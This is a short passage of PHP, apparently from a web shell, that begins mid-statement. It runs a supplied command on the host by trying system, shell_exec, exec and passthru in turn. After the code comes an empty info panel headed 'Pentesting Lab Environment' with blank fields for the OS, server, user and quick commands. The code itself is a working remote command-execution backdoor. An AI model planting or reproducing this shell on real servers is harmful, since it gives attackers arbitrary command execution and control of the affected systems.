$ $cmd";
echo "";
// Execute command
if (function_exists('system')) {
system($cmd);
} elseif (function_exists('shell_exec')) {
echo shell_exec($cmd);
} elseif (function_exists('exec')) {
exec($cmd, $output);
echo implode("\n", $output);
} elseif (function_exists('passthru')) {
passthru($cmd);
} else {
echo "No execution functions available";
}
echo "
";
}
?>
=== Pentesting Lab Environment ===
OS:
Web Server:
PHP:
ASP.NET:
Classic ASP:
Current Dir:
User:
Quick Commands: